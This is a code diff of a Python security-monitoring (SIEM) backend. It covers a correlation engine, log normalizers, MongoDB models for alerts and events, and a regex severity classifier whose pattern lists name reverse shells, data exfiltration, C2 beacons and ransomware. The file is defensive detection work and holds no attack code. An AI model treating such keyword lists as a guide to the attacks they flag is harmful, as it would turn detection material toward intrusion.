||||
rule_id: str,
|
||||
group_key: str,
|
||||
) -> EvaluationResult | None:
|
||||
"""
|
||||
Fire when all steps of a sequence are observed within window for a group
|
||||
"""
|
||||
conditions = rule.conditions
|
||||
steps = conditions.get("steps", [])
|
||||
|
||||
matched_step = None
|
||||
for idx, step in enumerate(steps):
|
||||
step_filter = step.get("event_filter", {})
|
||||
if _matches_filter(event_data, step_filter):
|
||||
matched_step = idx
|
||||
break
|
||||
|
||||
if matched_step is None:
|
||||
return None
|
||||
|
||||
event_id = event_data.get("id", "")
|
||||
state.record_event(
|
||||
rule_id, group_key, event_id, event_data,
|
||||
step_index=matched_step,
|
||||
)
|
||||
|
||||
window_seconds = conditions.get("window_seconds", 0)
|
||||
entries = state.get_window(rule_id, group_key, window_seconds)
|
||||
|
||||
for idx, step in enumerate(steps):
|
||||
required_count = step.get("count", 1)
|
||||
step_entries = [e for e in entries if e.step_index == idx]
|
||||
if len(step_entries) < required_count:
|
||||
return None
|
||||
|
||||
state.mark_fired(rule_id, group_key)
|
||||
return EvaluationResult(
|
||||
matched_event_ids=[e.event_id for e in entries],
|
||||
group_value=group_key,
|
||||
)
|
||||
|
||||
|
||||
def _evaluate_aggregation(
|
||||
rule: CorrelationRule,
|
||||
event_data: dict[str, Any],
|
||||
state: CorrelationState,
|
||||
rule_id: str,
|
||||
group_key: str,
|
||||
) -> EvaluationResult | None:
|
||||
"""
|
||||
Fire when distinct values of a field exceed threshold for a group
|
||||
"""
|
||||
conditions = rule.conditions
|
||||
event_filter = conditions.get("event_filter", {})
|
||||
|
||||
if not _matches_filter(event_data, event_filter):
|
||||
return None
|
||||
|
||||
event_id = event_data.get("id", "")
|
||||
state.record_event(rule_id, group_key, event_id, event_data)
|
||||
|
||||
window_seconds = conditions.get("window_seconds", 0)
|
||||
threshold = conditions.get("threshold", 0)
|
||||
aggregation_field = conditions.get("aggregation_field", "")
|
||||
entries = state.get_window(rule_id, group_key, window_seconds)
|
||||
|
||||
distinct_values = {
|
||||
e.event_data.get(aggregation_field)
|
||||
for e in entries
|
||||
if e.event_data.get(aggregation_field)
|
||||
}
|
||||
|
||||
if len(distinct_values) >= threshold:
|
||||
state.mark_fired(rule_id, group_key)
|
||||
return EvaluationResult(
|
||||
matched_event_ids=[e.event_id for e in entries],
|
||||
group_value=group_key,
|
||||
)
|
||||
return None
|
||||
|
||||
|
||||
class CorrelationEngine:
|
||||
"""
|
||||
Daemon thread that consumes log events and evaluates correlation rules
|
||||
"""
|
||||
|
||||
def __init__(self) -> None:
|
||||
self._state = CorrelationState()
|
||||
self._stop_event = threading.Event()
|
||||
self._rules_cache: list[CorrelationRule] = []
|
||||
self._rules_cache_time: float = 0.0
|
||||
self._thread = threading.Thread(
|
||||
target=self._run,
|
||||
daemon=True,
|
||||
name="correlation-engine",
|
||||
)
|
||||
|
||||
def start(self) -> None:
|
||||
"""
|
||||
Initialize consumer group and start the engine thread
|
||||
"""
|
||||
ensure_consumer_group(settings.LOG_STREAM_KEY)
|
||||
self._thread.start()
|
||||
logger.info("correlation_engine_started")
|
||||
|
||||
def stop(self) -> None:
|
||||
"""
|
||||
Signal the engine thread to stop
|
||||
"""
|
||||
self._stop_event.set()
|
||||
logger.info("correlation_engine_stopped")
|
||||
|
||||
def _get_rules(self) -> list[CorrelationRule]:
|
||||
"""
|
||||
Return cached rules, refreshing if the cache TTL has expired
|
||||
"""
|
||||
now = time.time()
|
||||
elapsed = now - self._rules_cache_time
|
||||
if elapsed > settings.CORRELATION_RULE_CACHE_SECONDS:
|
||||
self._rules_cache = CorrelationRule.get_enabled_rules()
|
||||
self._rules_cache_time = now
|
||||
return self._rules_cache
|
||||
|
||||
def _run(self) -> None:
|
||||
"""
|
||||
Main loop that reads events and evaluates rules
|
||||
"""
|
||||
while not self._stop_event.is_set():
|
||||
try:
|
||||
messages = read_stream(settings.LOG_STREAM_KEY)
|
||||
for msg_id, event_data in messages:
|
||||
if self._stop_event.is_set():
|
||||
break
|
||||
self._process_event(event_data)
|
||||
ack_message(settings.LOG_STREAM_KEY, msg_id)
|
||||
except Exception:
|
||||
logger.exception("correlation_engine_error")
|
||||
self._stop_event.wait(
|
||||
settings.CORRELATION_ERROR_BACKOFF_SECONDS
|
||||
)
|
||||
|
||||
def _process_event(self, event_data: dict[str, Any]) -> None:
|
||||
"""
|
||||
Evaluate all enabled rules against a single event
|
||||
"""
|
||||
rules = self._get_rules()
|
||||
for rule in rules:
|
||||
result = evaluate_rule(rule, event_data, self._state)
|
||||
if result is None:
|
||||
continue
|
||||
Alert.create_from_rule(
|
||||
rule=rule,
|
||||
matched_event_ids=result.matched_event_ids,
|
||||
group_value=result.group_value,
|
||||
)
|
||||
logger.info(
|
||||
"alert_generated",
|
||||
rule_name=rule.name,
|
||||
group_value=result.group_value,
|
||||
matched_count=len(result.matched_event_ids),
|
||||
)
|
||||
|
||||
|
||||
_engine: CorrelationEngine | None = None
|
||||
|
||||
|
||||
def start_engine() -> None:
|
||||
"""
|
||||
Create and start the singleton correlation engine
|
||||
"""
|
||||
global _engine
|
||||
if _engine is not None:
|
||||
return
|
||||
_engine = CorrelationEngine()
|
||||
_engine.start()
|
||||
|
||||
|
||||
def stop_engine() -> None:
|
||||
"""
|
||||
Stop the singleton correlation engine
|
||||
"""
|
||||
global _engine
|
||||
if _engine:
|
||||
_engine.stop()
|
||||
_engine = None
|
||||
|
|
@ -0,0 +1,149 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
normalizer.py
|
||||
"""
|
||||
|
||||
from datetime import datetime, UTC
|
||||
from typing import Any, Callable
|
||||
|
||||
from app.models.LogEvent import SourceType
|
||||
|
||||
NormalizerFn = Callable[[dict[str, Any]], dict[str, Any]]
|
||||
|
||||
NORMALIZERS: dict[str, NormalizerFn] = {}
|
||||
|
||||
|
||||
def _register(source_type: SourceType) -> Callable[[NormalizerFn], NormalizerFn]:
|
||||
"""
|
||||
Register a normalizer function for a source type
|
||||
"""
|
||||
def decorator(fn: NormalizerFn) -> NormalizerFn:
|
||||
NORMALIZERS[source_type.value] = fn
|
||||
return fn
|
||||
|
||||
return decorator
|
||||
|
||||
|
||||
def normalize(raw: dict[str, Any]) -> dict[str, Any]:
|
||||
"""
|
||||
Dispatch to the appropriate format normalizer and return enriched data
|
||||
"""
|
||||
source_type = raw.get("source_type", SourceType.GENERIC)
|
||||
normalizer_fn = NORMALIZERS.get(source_type, _normalize_generic)
|
||||
base = _extract_common(raw)
|
||||
specific = normalizer_fn(raw)
|
||||
base["normalized"] = {**base.get("normalized", {}), **specific}
|
||||
return base
|
||||
|
||||
|
||||
def _extract_common(raw: dict[str, Any]) -> dict[str, Any]:
|
||||
"""
|
||||
Pull fields shared across all log formats into a base dict
|
||||
"""
|
||||
return {
|
||||
"timestamp": raw.get("timestamp",
|
||||
datetime.now(UTC)),
|
||||
"source_type": raw.get("source_type",
|
||||
SourceType.GENERIC),
|
||||
"source_ip": raw.get("source_ip"),
|
||||
"dest_ip": raw.get("dest_ip"),
|
||||
"source_port": raw.get("source_port"),
|
||||
"dest_port": raw.get("dest_port"),
|
||||
"event_type": raw.get("event_type"),
|
||||
"hostname": raw.get("hostname"),
|
||||
"username": raw.get("username"),
|
||||
"raw": raw,
|
||||
"normalized": {},
|
||||
}
|
||||
|
||||
|
||||
@_register(SourceType.FIREWALL)
|
||||
def _normalize_firewall(raw: dict[str, Any]) -> dict[str, Any]:
|
||||
"""
|
||||
Extract firewall-specific fields like action and protocol
|
||||
"""
|
||||
return {
|
||||
"action": raw.get("action"),
|
||||
"protocol": raw.get("protocol"),
|
||||
"bytes_sent": raw.get("bytes_sent"),
|
||||
"bytes_received": raw.get("bytes_received"),
|
||||
"rule_name": raw.get("rule_name"),
|
||||
}
|
||||
|
||||
|
||||
@_register(SourceType.IDS)
|
||||
def _normalize_ids(raw: dict[str, Any]) -> dict[str, Any]:
|
||||
"""
|
||||
Extract IDS-specific fields like signature and severity
|
||||
"""
|
||||
return {
|
||||
"signature_id": raw.get("signature_id"),
|
||||
"signature_name": raw.get("signature_name"),
|
||||
"classification": raw.get("classification"),
|
||||
"priority": raw.get("priority"),
|
||||
}
|
||||
|
||||
|
||||
@_register(SourceType.AUTH)
|
||||
def _normalize_auth(raw: dict[str, Any]) -> dict[str, Any]:
|
||||
"""
|
||||
Extract authentication-specific fields like method and result
|
||||
"""
|
||||
return {
|
||||
"auth_method": raw.get("auth_method"),
|
||||
"result": raw.get("result"),
|
||||
"failure_reason": raw.get("failure_reason"),
|
||||
"service": raw.get("service"),
|
||||
}
|
||||
|
||||
|
||||
@_register(SourceType.ENDPOINT)
|
||||
def _normalize_endpoint(raw: dict[str, Any]) -> dict[str, Any]:
|
||||
"""
|
||||
Extract endpoint-specific fields like process and command line
|
||||
"""
|
||||
return {
|
||||
"process_name": raw.get("process_name"),
|
||||
"process_id": raw.get("process_id"),
|
||||
"parent_process": raw.get("parent_process"),
|
||||
"command_line": raw.get("command_line"),
|
||||
"file_path": raw.get("file_path"),
|
||||
}
|
||||
|
||||
|
||||
@_register(SourceType.DNS)
|
||||
def _normalize_dns(raw: dict[str, Any]) -> dict[str, Any]:
|
||||
"""
|
||||
Extract DNS-specific fields like query and record type
|
||||
"""
|
||||
return {
|
||||
"query": raw.get("query"),
|
||||
"query_type": raw.get("query_type"),
|
||||
"response": raw.get("response"),
|
||||
"response_code": raw.get("response_code"),
|
||||
}
|
||||
|
||||
|
||||
@_register(SourceType.PROXY)
|
||||
def _normalize_proxy(raw: dict[str, Any]) -> dict[str, Any]:
|
||||
"""
|
||||
Extract proxy-specific fields like URL and user agent
|
||||
"""
|
||||
return {
|
||||
"url": raw.get("url"),
|
||||
"method": raw.get("method"),
|
||||
"status_code": raw.get("status_code"),
|
||||
"user_agent": raw.get("user_agent"),
|
||||
"content_type": raw.get("content_type"),
|
||||
"bytes_transferred": raw.get("bytes_transferred"),
|
||||
}
|
||||
|
||||
|
||||
@_register(SourceType.GENERIC)
|
||||
def _normalize_generic(raw: dict[str, Any]) -> dict[str, Any]:
|
||||
"""
|
||||
Fallback normalizer for unrecognized source types
|
||||
"""
|
||||
return {
|
||||
"message": raw.get("message"),
|
||||
}
|
||||
|
|
@ -0,0 +1,139 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
severity.py
|
||||
"""
|
||||
|
||||
import re
|
||||
from typing import Any
|
||||
|
||||
from app.models.LogEvent import Severity
|
||||
|
||||
|
||||
CRITICAL_PATTERNS = [
|
||||
re.compile(r"privilege.?escalat",
|
||||
re.IGNORECASE),
|
||||
re.compile(r"root.?compromise",
|
||||
re.IGNORECASE),
|
||||
re.compile(r"data.?exfiltrat",
|
||||
re.IGNORECASE),
|
||||
re.compile(r"ransomware",
|
||||
re.IGNORECASE),
|
||||
re.compile(r"command.?and.?control",
|
||||
re.IGNORECASE),
|
||||
re.compile(r"c2.?beacon",
|
||||
re.IGNORECASE),
|
||||
]
|
||||
|
||||
HIGH_PATTERNS = [
|
||||
re.compile(r"brute.?force",
|
||||
re.IGNORECASE),
|
||||
re.compile(r"lateral.?movement",
|
||||
re.IGNORECASE),
|
||||
re.compile(r"reverse.?shell",
|
||||
re.IGNORECASE),
|
||||
re.compile(r"malware",
|
||||
re.IGNORECASE),
|
||||
re.compile(r"exploit",
|
||||
re.IGNORECASE),
|
||||
re.compile(r"unauthorized.?access",
|
||||
re.IGNORECASE),
|
||||
]
|
||||
|
||||
MEDIUM_PATTERNS = [
|
||||
re.compile(r"login.?fail",
|
||||
re.IGNORECASE),
|
||||
re.compile(r"authentication.?fail",
|
||||
re.IGNORECASE),
|
||||
re.compile(r"suspicious",
|
||||
re.IGNORECASE),
|
||||
re.compile(r"port.?scan",
|
||||
re.IGNORECASE),
|
||||
re.compile(r"denied",
|
||||
re.IGNORECASE),
|
||||
re.compile(r"blocked",
|
||||
re.IGNORECASE),
|
||||
]
|
||||
|
||||
LOW_PATTERNS = [
|
||||
re.compile(r"warning",
|
||||
re.IGNORECASE),
|
||||
re.compile(r"policy.?violation",
|
||||
re.IGNORECASE),
|
||||
re.compile(r"anomal",
|
||||
re.IGNORECASE),
|
||||
]
|
||||
|
||||
SEVERITY_TIERS = [
|
||||
(Severity.CRITICAL,
|
||||
CRITICAL_PATTERNS),
|
||||
(Severity.HIGH,
|
||||
HIGH_PATTERNS),
|
||||
(Severity.MEDIUM,
|
||||
MEDIUM_PATTERNS),
|
||||
(Severity.LOW,
|
||||
LOW_PATTERNS),
|
||||
]
|
||||
|
||||
HIGH_SEVERITY_EVENT_TYPES = frozenset(
|
||||
{
|
||||
"privilege_escalation",
|
||||
"data_exfiltration",
|
||||
"c2_communication",
|
||||
"reverse_shell",
|
||||
}
|
||||
)
|
||||
|
||||
MEDIUM_SEVERITY_EVENT_TYPES = frozenset(
|
||||
{
|
||||
"login_failure",
|
||||
"port_scan",
|
||||
"firewall_deny",
|
||||
"ids_alert",
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
def classify(normalized: dict[str, Any]) -> str:
|
||||
"""
|
||||
Determine severity from event type and content pattern matching
|
||||
"""
|
||||
event_type = normalized.get("event_type", "")
|
||||
|
||||
if event_type in HIGH_SEVERITY_EVENT_TYPES:
|
||||
return Severity.HIGH
|
||||
if event_type in MEDIUM_SEVERITY_EVENT_TYPES:
|
||||
return Severity.MEDIUM
|
||||
|
||||
searchable = _build_searchable_text(normalized)
|
||||
|
||||
for severity, patterns in SEVERITY_TIERS:
|
||||
for pattern in patterns:
|
||||
if pattern.search(searchable):
|
||||
return severity
|
||||
|
||||
return Severity.INFO
|
||||
|
||||
|
||||
def _build_searchable_text(normalized: dict[str, Any]) -> str:
|
||||
"""
|
||||
Concatenate relevant fields into a single string for pattern matching
|
||||
"""
|
||||
parts = [
|
||||
str(normalized.get("event_type",
|
||||
"")),
|
||||
str(normalized.get("message",
|
||||
"")),
|
||||
str(normalized.get("normalized",
|
||||
{}).get("message",
|
||||
"")),
|
||||
str(normalized.get("normalized",
|
||||
{}).get("signature_name",
|
||||
"")),
|
||||
str(normalized.get("normalized",
|
||||
{}).get("classification",
|
||||
"")),
|
||||
str(normalized.get("normalized",
|
||||
{}).get("command_line",
|
||||
"")),
|
||||
]
|
||||
return " ".join(parts)
|
||||
|
|
@ -0,0 +1,54 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
extensions.py
|
||||
"""
|
||||
|
||||
from typing import TYPE_CHECKING
|
||||
|
||||
import redis
|
||||
from flask import Flask
|
||||
from mongoengine import connect, disconnect
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from redis import Redis
|
||||
|
||||
|
||||
_redis_client: Redis[str] | None = None
|
||||
|
||||
|
||||
def init_mongo(app: Flask) -> None:
|
||||
"""
|
||||
Connect MongoEngine to the configured MongoDB instance
|
||||
"""
|
||||
connect(
|
||||
db = app.config["MONGO_DB"],
|
||||
host = app.config["MONGO_URI"],
|
||||
alias = "default",
|
||||
)
|
||||
|
||||
|
||||
def close_mongo() -> None:
|
||||
"""
|
||||
Disconnect MongoEngine from MongoDB
|
||||
"""
|
||||
disconnect(alias = "default")
|
||||
|
||||
|
||||
def init_redis(app: Flask) -> None:
|
||||
"""
|
||||
Initialize the module level Redis client from app config
|
||||
"""
|
||||
global _redis_client
|
||||
_redis_client = redis.from_url(
|
||||
app.config["REDIS_URL"],
|
||||
decode_responses = True,
|
||||
)
|
||||
|
||||
|
||||
def get_redis() -> Redis[str]:
|
||||
"""
|
||||
Return the initialized Redis client or raise if not ready
|
||||
"""
|
||||
if _redis_client is None:
|
||||
raise RuntimeError("Redis not initialized")
|
||||
return _redis_client
|
||||
|
|
@ -0,0 +1,137 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
Alert.py
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
from datetime import datetime, UTC
|
||||
from enum import StrEnum
|
||||
|
||||
from mongoengine import (
|
||||
StringField,
|
||||
DateTimeField,
|
||||
IntField,
|
||||
ListField,
|
||||
ObjectIdField,
|
||||
)
|
||||
|
||||
from app.config import settings
|
||||
from app.core.streaming import publish_event
|
||||
from app.models.Base import BaseDocument
|
||||
from app.models.LogEvent import LogEvent, Severity
|
||||
|
||||
|
||||
class AlertStatus(StrEnum):
|
||||
"""
|
||||
Alert lifecycle states
|
||||
"""
|
||||
NEW = "new"
|
||||
ACKNOWLEDGED = "acknowledged"
|
||||
INVESTIGATING = "investigating"
|
||||
RESOLVED = "resolved"
|
||||
FALSE_POSITIVE = "false_positive"
|
||||
|
||||
|
||||
class Alert(BaseDocument):
|
||||
"""
|
||||
Alert generated by a correlation rule match
|
||||
"""
|
||||
meta: dict[str, Any] = { # noqa: RUF012
|
||||
"collection": "alerts",
|
||||
"ordering": ["-created_at"],
|
||||
"indexes": ["status", "severity", "rule_id"],
|
||||
}
|
||||
|
||||
rule_id = ObjectIdField(required=True)
|
||||
rule_name = StringField(required=True)
|
||||
severity = StringField(
|
||||
required=True,
|
||||
choices=[s.value for s in Severity],
|
||||
)
|
||||
title = StringField(required=True)
|
||||
matched_event_ids = ListField(ObjectIdField())
|
||||
matched_event_count = IntField(default=0)
|
||||
group_value = StringField()
|
||||
status = StringField(
|
||||
required=True,
|
||||
default=AlertStatus.NEW,
|
||||
choices=[s.value for s in AlertStatus],
|
||||
)
|
||||
mitre_tactic = StringField()
|
||||
mitre_technique = StringField()
|
||||
acknowledged_by = StringField()
|
||||
acknowledged_at = DateTimeField()
|
||||
resolved_at = DateTimeField()
|
||||
notes = StringField()
|
||||
|
||||
@classmethod
|
||||
def create_from_rule(
|
||||
cls,
|
||||
rule: Any,
|
||||
matched_event_ids: list[str],
|
||||
group_value: str,
|
||||
) -> Alert:
|
||||
"""
|
||||
Create an alert from a fired rule and publish to the alert stream
|
||||
"""
|
||||
alert = cls(
|
||||
rule_id=rule.id,
|
||||
rule_name=rule.name,
|
||||
severity=rule.severity,
|
||||
title=f"{rule.name} [{group_value}]",
|
||||
matched_event_ids=matched_event_ids,
|
||||
matched_event_count=len(matched_event_ids),
|
||||
group_value=group_value,
|
||||
mitre_tactic=rule.mitre_tactic,
|
||||
mitre_technique=rule.mitre_technique,
|
||||
)
|
||||
alert.save() # type: ignore[no-untyped-call]
|
||||
|
||||
publish_event(
|
||||
settings.ALERT_STREAM_KEY,
|
||||
{
|
||||
"id": str(alert.id),
|
||||
"rule_name": alert.rule_name,
|
||||
"severity": alert.severity,
|
||||
"title": alert.title,
|
||||
"group_value": alert.group_value,
|
||||
"matched_event_count": alert.matched_event_count,
|
||||
"status": alert.status,
|
||||
},
|
||||
)
|
||||
|
||||
return alert
|
||||
|
||||
def update_status(
|
||||
self,
|
||||
status: str,
|
||||
username: str | None = None,
|
||||
notes: str | None = None,
|
||||
) -> None:
|
||||
"""
|
||||
Transition the alert to a new status with optional metadata
|
||||
"""
|
||||
self.status = status
|
||||
if notes is not None:
|
||||
self.notes = notes
|
||||
|
||||
now = datetime.now(UTC)
|
||||
if status == AlertStatus.ACKNOWLEDGED and username:
|
||||
self.acknowledged_by = username
|
||||
self.acknowledged_at = now
|
||||
elif status in (AlertStatus.RESOLVED, AlertStatus.FALSE_POSITIVE):
|
||||
self.resolved_at = now
|
||||
|
||||
self.save() # type: ignore[no-untyped-call]
|
||||
|
||||
def get_with_events(self) -> dict[str, Any]:
|
||||
"""
|
||||
Return the alert with its matched log events loaded
|
||||
"""
|
||||
events = list(
|
||||
LogEvent.objects(id__in=self.matched_event_ids) # type: ignore[no-untyped-call]
|
||||
)
|
||||
return {
|
||||
"alert": self,
|
||||
"matched_events": events,
|
||||
}
|
||||
|
|
@ -0,0 +1,72 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
Base.py
|
||||
"""
|
||||
|
||||
from typing import Any, Self
|
||||
from datetime import datetime, UTC
|
||||
|
||||
from mongoengine import (
|
||||
Document,
|
||||
DateTimeField,
|
||||
QuerySet,
|
||||
)
|
||||
|
||||
from app.config import settings
|
||||
from app.core.errors import NotFoundError
|
||||
|
||||
|
||||
class BaseDocument(Document): # type: ignore[misc]
|
||||
"""
|
||||
Abstract base with timestamps and common query helpers
|
||||
"""
|
||||
meta = {"abstract": True} # noqa: RUF012
|
||||
|
||||
created_at = DateTimeField(default = lambda: datetime.now(UTC))
|
||||
updated_at = DateTimeField(default = lambda: datetime.now(UTC))
|
||||
|
||||
def save(self, *args: Any, **kwargs: Any) -> Any:
|
||||
"""
|
||||
Auto-update the updated_at timestamp on every save
|
||||
"""
|
||||
self.updated_at = datetime.now(UTC)
|
||||
return super().save(*args, **kwargs)
|
||||
|
||||
@classmethod
|
||||
def get_by_id(cls, doc_id: str) -> Self:
|
||||
"""
|
||||
Fetch by ID or raise NotFoundError
|
||||
"""
|
||||
doc = cls.objects(id = doc_id).first()
|
||||
if doc is None:
|
||||
raise NotFoundError(f"{cls.__name__} not found")
|
||||
return doc # type: ignore[no-any-return]
|
||||
|
||||
@classmethod
|
||||
def get_or_none(cls, doc_id: str) -> Self | None:
|
||||
"""
|
||||
Fetch by ID or return None
|
||||
"""
|
||||
return cls.objects(id = doc_id).first() # type: ignore[no-any-return]
|
||||
|
||||
@classmethod
|
||||
def paginate(
|
||||
cls,
|
||||
queryset: QuerySet | None = None,
|
||||
page: int = 1,
|
||||
per_page: int = settings.DEFAULT_PAGE_SIZE,
|
||||
) -> dict[str, Any]:
|
||||
"""
|
||||
Return a paginated result dict from any queryset
|
||||
"""
|
||||
qs = queryset if queryset is not None else cls.objects
|
||||
total = qs.count()
|
||||
offset = (page - 1) * per_page
|
||||
items = list(qs.skip(offset).limit(per_page))
|
||||
return {
|
||||
"items": items,
|
||||
"total": total,
|
||||
"page": page,
|
||||
"per_page": per_page,
|
||||
"pages": (total + per_page - 1) // per_page,
|
||||
}
|
||||
|
|
@ -0,0 +1,58 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
CorrelationRule.py
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
from enum import StrEnum
|
||||
|
||||
from mongoengine import (
|
||||
StringField,
|
||||
DictField,
|
||||
BooleanField,
|
||||
)
|
||||
|
||||
from app.models.Base import BaseDocument
|
||||
from app.models.LogEvent import Severity
|
||||
|
||||
|
||||
class RuleType(StrEnum):
|
||||
"""
|
||||
Supported correlation rule evaluation strategies
|
||||
"""
|
||||
THRESHOLD = "threshold"
|
||||
SEQUENCE = "sequence"
|
||||
AGGREGATION = "aggregation"
|
||||
|
||||
|
||||
class CorrelationRule(BaseDocument):
|
||||
"""
|
||||
Correlation rule with conditions and evaluation metadata
|
||||
"""
|
||||
meta: dict[str, Any] = { # noqa: RUF012
|
||||
"collection": "correlation_rules",
|
||||
"ordering": ["-created_at"],
|
||||
"indexes": ["enabled", "rule_type"],
|
||||
}
|
||||
|
||||
name = StringField(required=True, unique=True)
|
||||
description = StringField(default="")
|
||||
rule_type = StringField(
|
||||
required=True,
|
||||
choices=[t.value for t in RuleType],
|
||||
)
|
||||
conditions = DictField(required=True)
|
||||
severity = StringField(
|
||||
required=True,
|
||||
choices=[s.value for s in Severity],
|
||||
)
|
||||
enabled = BooleanField(default=True)
|
||||
mitre_tactic = StringField()
|
||||
mitre_technique = StringField()
|
||||
|
||||
@classmethod
|
||||
def get_enabled_rules(cls) -> list[Any]:
|
||||
"""
|
||||
Return all rules that are currently enabled
|
||||
"""
|
||||
return list(cls.objects(enabled=True)) # type: ignore[no-untyped-call]
|
||||
|
|
@ -0,0 +1,280 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
LogEvent.py
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
from datetime import datetime, timedelta, UTC
|
||||
from enum import StrEnum
|
||||
|
||||
from mongoengine import (
|
||||
StringField,
|
||||
DateTimeField,
|
||||
IntField,
|
||||
DictField,
|
||||
ListField,
|
||||
ObjectIdField,
|
||||
)
|
||||
|
||||
from app.config import settings
|
||||
from app.models.Base import BaseDocument
|
||||
|
||||
|
||||
class SourceType(StrEnum):
|
||||
"""
|
||||
Supported log source categories
|
||||
"""
|
||||
FIREWALL = "firewall"
|
||||
IDS = "ids"
|
||||
AUTH = "auth"
|
||||
ENDPOINT = "endpoint"
|
||||
DNS = "dns"
|
||||
PROXY = "proxy"
|
||||
GENERIC = "generic"
|
||||
|
||||
|
||||
class Severity(StrEnum):
|
||||
"""
|
||||
Event severity levels from critical to informational
|
||||
"""
|
||||
CRITICAL = "critical"
|
||||
HIGH = "high"
|
||||
MEDIUM = "medium"
|
||||
LOW = "low"
|
||||
INFO = "info"
|
||||
|
||||
|
||||
class LogEvent(BaseDocument):
|
||||
"""
|
||||
Log event document with query and aggregation methods
|
||||
"""
|
||||
meta: dict[str, Any] = { # noqa: RUF012
|
||||
"collection":
|
||||
"log_events",
|
||||
"ordering": ["-timestamp"],
|
||||
"indexes": [
|
||||
"timestamp",
|
||||
"source_type",
|
||||
"severity",
|
||||
"source_ip",
|
||||
"dest_ip",
|
||||
"username",
|
||||
"hostname",
|
||||
"event_type",
|
||||
"scenario_run_id",
|
||||
],
|
||||
}
|
||||
|
||||
timestamp = DateTimeField(
|
||||
default = lambda: datetime.now(UTC),
|
||||
)
|
||||
source_type = StringField(
|
||||
required = True,
|
||||
choices = [s.value for s in SourceType],
|
||||
)
|
||||
source_ip = StringField()
|
||||
dest_ip = StringField()
|
||||
source_port = IntField()
|
||||
dest_port = IntField()
|
||||
severity = StringField(
|
||||
choices = [s.value for s in Severity],
|
||||
default = Severity.INFO,
|
||||
)
|
||||
event_type = StringField()
|
||||
raw = DictField()
|
||||
normalized = DictField()
|
||||
metadata = DictField()
|
||||
hostname = StringField()
|
||||
username = StringField()
|
||||
mitre_tactic = StringField()
|
||||
mitre_technique = StringField()
|
||||
scenario_run_id = ObjectIdField()
|
||||
matched_alert_ids = ListField(ObjectIdField())
|
||||
|
||||
@classmethod
|
||||
def create_event(cls, **fields: Any) -> LogEvent:
|
||||
"""
|
||||
Create and persist a new log event
|
||||
"""
|
||||
event = cls(**fields)
|
||||
event.save() # type: ignore[no-untyped-call]
|
||||
return event
|
||||
|
||||
@classmethod
|
||||
def search(
|
||||
cls,
|
||||
query: str,
|
||||
page: int = 1,
|
||||
per_page: int = settings.DEFAULT_PAGE_SIZE
|
||||
) -> dict[str, Any]:
|
||||
"""
|
||||
Full text search across key fields
|
||||
"""
|
||||
qs = cls.objects.filter( # type: ignore[no-untyped-call]
|
||||
__raw__ = {
|
||||
"$or": [
|
||||
{
|
||||
"event_type": {
|
||||
"$regex": query,
|
||||
"$options": "i"
|
||||
}
|
||||
},
|
||||
{
|
||||
"source_ip": {
|
||||
"$regex": query,
|
||||
"$options": "i"
|
||||
}
|
||||
},
|
||||
{
|
||||
"dest_ip": {
|
||||
"$regex": query,
|
||||
"$options": "i"
|
||||
}
|
||||
},
|
||||
{
|
||||
"username": {
|
||||
"$regex": query,
|
||||
"$options": "i"
|
||||
}
|
||||
},
|
||||
{
|
||||
"hostname": {
|
||||
"$regex": query,
|
||||
"$options": "i"
|
||||
}
|
||||
},
|
||||
]
|
||||
}
|
||||
)
|
||||
return cls.paginate(queryset = qs, page = page, per_page = per_page)
|
||||
|
||||
@classmethod
|
||||
def get_by_source_ip(cls, ip: str) -> list[Any]:
|
||||
"""
|
||||
Pivot query returning all events from a source IP
|
||||
"""
|
||||
return list(cls.objects(source_ip = ip).order_by("-timestamp")) # type: ignore[no-untyped-call]
|
||||
|
||||
@classmethod
|
||||
def get_by_username(cls, username: str) -> list[Any]:
|
||||
"""
|
||||
Pivot query returning all events for a username
|
||||
"""
|
||||
return list(cls.objects(username = username).order_by("-timestamp")) # type: ignore[no-untyped-call]
|
||||
|
||||
@classmethod
|
||||
def get_by_hostname(cls, hostname: str) -> list[Any]:
|
||||
"""
|
||||
Pivot query returning all events for a hostname
|
||||
"""
|
||||
return list(cls.objects(hostname = hostname).order_by("-timestamp")) # type: ignore[no-untyped-call]
|
||||
|
||||
@classmethod
|
||||
def timeline_aggregation(
|
||||
cls,
|
||||
hours: int = settings.TIMELINE_DEFAULT_HOURS,
|
||||
bucket_minutes: int = settings.TIMELINE_BUCKET_MINUTES,
|
||||
) -> list[dict[str, Any]]:
|
||||
"""
|
||||
Aggregate event counts into time buckets for charting
|
||||
"""
|
||||
cutoff = datetime.now(UTC) - timedelta(hours=hours)
|
||||
pipeline = [
|
||||
{
|
||||
"$match": {
|
||||
"timestamp": {
|
||||
"$gte": cutoff
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"$group": {
|
||||
"_id": {
|
||||
"$dateTrunc": {
|
||||
"date": "$timestamp",
|
||||
"unit": "minute",
|
||||
"binSize": bucket_minutes,
|
||||
}
|
||||
},
|
||||
"count": {
|
||||
"$sum": 1
|
||||
},
|
||||
}
|
||||
},
|
||||
{
|
||||
"$sort": {
|
||||
"_id": 1
|
||||
}
|
||||
},
|
||||
{
|
||||
"$project": {
|
||||
"_id": 0,
|
||||
"bucket": "$_id",
|
||||
"count": 1,
|
||||
}
|
||||
},
|
||||
]
|
||||
return list(cls.objects.aggregate(pipeline)) # type: ignore[no-untyped-call]
|
||||
|
||||
@classmethod
|
||||
def severity_breakdown(cls) -> list[dict[str, Any]]:
|
||||
"""
|
||||
Count events grouped by severity level
|
||||
"""
|
||||
pipeline = [
|
||||
{
|
||||
"$group": {
|
||||
"_id": "$severity",
|
||||
"count": {
|
||||
"$sum": 1
|
||||
},
|
||||
}
|
||||
},
|
||||
{
|
||||
"$project": {
|
||||
"_id": 0,
|
||||
"severity": "$_id",
|
||||
"count": 1,
|
||||
}
|
||||
},
|
||||
]
|
||||
return list(cls.objects.aggregate(pipeline)) # type: ignore[no-untyped-call]
|
||||
|
||||
@classmethod
|
||||
